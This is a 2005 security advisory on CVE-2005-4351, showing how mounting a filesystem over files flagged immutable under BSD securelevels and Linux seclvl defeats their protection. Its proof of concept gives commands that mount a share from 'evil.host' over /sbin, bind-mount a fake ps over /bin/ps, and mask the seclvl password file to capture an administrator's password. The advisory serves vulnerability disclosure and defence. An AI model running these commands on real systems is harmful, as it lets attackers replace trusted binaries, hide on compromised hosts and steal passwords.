rt-sa-2005-15.txt

`Advisory: BSD Securelevels: Circumventing protection of files flagged  
immutable  
  
By mounting an arbitrary filesystem, it is possible to mask files  
flagged immutable with any user-defined files.  
  
  
Details  
=======  
  
Product: FreeBSD up to 6.0-STABLE and 7.0-CURRENT  
OpenBSD up to 3.8  
DragonFly up to 1.2  
Linux vanilla kernel up to 2.6.15  
Vulnerability Type: Filesystem privilege circumvention  
Security-Risk: medium  
Advisory-URL:  
http://www.redteam-pentesting.de/advisories/rt-sa-2005-15.txt  
Advisory-Status: public  
CVE: CVE-2005-4351  
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4351  
  
  
Introduction  
============  
  
BSD-Securelevels try to harden the system by restricting certain  
functions. The FreeBSD manpage[1] states: "The kernel runs with five   
different levels of security. Any super-user process can raise the   
security level, but no process can lower it."  
  
While running a securelevel of one or greater, files having the  
immutable flag cannot be changed anymore. Although files are protected  
from being changed permanently, masking them at runtime is still  
possible.  
  
  
More Details  
============  
  
While the behaviour described above seems to provide effective  
protection against changing immutable files physically, the protection  
can be circumvented at runtime. By mounting another filesystem,  
immutable files can be masked. Masking means placing an arbitrary file  
at the location of an immutable file, without changing the immutable  
file itself.  
Every access to the masked file through its path in the filesystem will  
result in access to the masking file. This can be achieved by mounting  
an  
NFS or any other available filesystem on the directory where the  
immutable file resides. At runtime an attacker could replace arbitrary  
files. Although it is not possible to change the contents of immutable  
files permanently, the impact is similar.  
With Linux an attacker can even intercept the password input to lower  
the security level masking /sys/seclvl/passwd.  
  
After searching mailinglist archives, we discovered that this problem  
was already discussed[2,3,4] before, but with no real result. The  
current behaviour is not good under security considerations. Especially  
bad is that it still seems to be a common mispractise for administrators  
to rely on securelevels to make it impossible for an attacker to change  
the running system. Using the described technique it would be possible  
to create a rootkit utilizing mount.  
  
  
Proof of Concept  
================  
  
The following example uses an NFS share but any other usable filesystem  
also works.  
  
root@# ls -lo /sbin  
total 4884  
-r-xr-xr-x 1 root wheel schg 7480 Nov 23 14:04 adjkerntz  
-r-xr-xr-x 1 root wheel schg 13968 Nov 23 14:04 atacontrol  
-r-xr-xr-x 1 root wheel schg 39828 Nov 23 14:04 atm  
-r-xr-xr-x 1 root wheel schg 51772 Nov 23 14:04 atmconfig  
-r-xr-xr-x 1 root wheel schg 7292 Nov 23 14:04 badsect  
-r-xr-xr-x 2 root wheel schg 29336 Nov 23 14:04 bsdlabel  
-r-xr-xr-x 1 root wheel schg 55972 Nov 23 14:04 camcontrol  
-r-xr-xr-x 1 root wheel schg 10124 Nov 23 14:04 ccdconfig  
-r-xr-xr-x 1 root wheel schg 5424 Nov 23 14:04 clri  
[...]  
  
root@# mount -t nfs evil.host:/exported /sbin  
root@# ls -lo /sbin  
total 4884  
-r-xr-xr-x 1 root wheel - 8451 Nov 22 15:07 adjkerntz  
-r-xr-xr-x 1 root wheel - 13485 Nov 22 15:07 atacontrol  
-r-xr-xr-x 1 root wheel - 30957 Nov 22 15:07 atm  
-r-xr-xr-x 1 root wheel - 51498 Nov 22 15:07 atmconfig  
-r-xr-xr-x 1 root wheel - 7435 Nov 22 15:07 badsect  
-r-xr-xr-x 2 root wheel - 24385 Nov 22 15:07 bsdlabel  
-r-xr-xr-x 1 root wheel - 58591 Nov 22 15:07 camcontrol  
-r-xr-xr-x 1 root wheel - 11585 Nov 22 15:07 ccdconfig  
-r-xr-xr-x 1 root wheel - 6581 Nov 22 15:07 clri  
[...]  
  
With Linux an attacker does not even have to mount a complete filesystem  
but mount just a single file over an immutable file by using the  
following command:  
  
root@# mount --bind /tmp/attacker_ps /bin/ps  
  
To intercept the password of seclvl with Linux, an attacker can use the  
following:  
  
root@# mount --bind /tmp/getpass /sys/seclvl/passwd  
  
Any attempt to lower the securitylevel by an admin will store the  
password  
in /tmp/getpass.  
  
  
Workaround  
==========  
  
A possible workaround is to disable mounting of filesystems completely  
after booting. This can be achieved through hardening kernel extensions  
like OpenBSD's systrace[5], FreeBSD's MAC security extensions[6] or  
SELinux[7]. Administrators should furthermore not rely on securelevels  
for protecting files in case of an attack.  
  
  
Fix  
===  
  
No fix is available at this time. The implementation of securelevels on  
NetBSD was found to be not vulnerable to this attack.  
No fix will be released for OpenBSD. To quote Theo de Raadt:  
  
"Sorry, we are going to change nothing. Securelevels are useless."  
  
FreeBSD is still discussing the issue and no further response from the  
Linux maintainer has been received yet.  
  
  
Security Risk  
=============  
  
This kind of attack provides a medium security risk. An attacker is able  
to hide himself effectively on a compromised system by using the methods  
described above.  
  
  
Discussion  
==========  
  
While protecting data effectively against permanent tampering, the term  
"Securelevels" should not contain the word secure. Securelevels do not  
protect against system compromise and provide only limited security. To  
restrict access to a system a more secure and flexible approach like  
OpenBSD's systrace[5], FreeBSD's MAC Framework[6] or SELinux[7] should  
be used.  
  
  
History  
=======  
  
2005-11-05 Problem discovered while testing a product of iPisec Ltd.  
2005-11-29 Discussed the issue with iPisec management and technicians  
2005-12-02 Contacted the maintainer of BSD-Securelevels on Linux  
2005-12-02 Response from the maintainer of BSD-Securelevels on Linux, he  
wants to do what *BSD will be doing  
2005-12-04 Contacted the maintainers of different BSD derivates  
2005-12-05 Response from the FreeBSD Security Team - problem under   
discussion  
2005-12-06 Response from the OpenBSD - problem will not be fixed  
2005-12-15 Forwarded the *BSD responses to the Linux maintainer   
2006-01-05 No further response from the Linux maintainer  
2006-01-09 Public release  
  
  
References  
==========  
  
[1] http://www.freebsd.org/cgi/man.cgi?query=securelevel  
[2] http://www.monkey.org/openbsd/archive/tech/9906/msg00149.html  
[3] http://archives.neohapsis.com/archives/openbsd/2005-10/1523.html  
[4] http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/22142  
[5] http://www.citi.umich.edu/u/provos/systrace/index.html  
[6] http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/mac.html  
[7] http://www.nsa.gov/selinux/index.cfm  
  
  
RedTeam  
=======  
  
RedTeam offers interested business parties penetration tests to validate  
their security. Doing security research RedTeam likes to enhance the  
common knowledgebase in security related areas. More information about  
RedTeam can be found at http://www.redteam-pentesting.de.  
  
--   
RedTeam Pentesting Tel.: +49-(0)241-963 1300  
Dennewartstr. 25-27 Fax : +49-(0)241-963 1304  
52068 Aachen http://www.redteam-pentesting.de  
`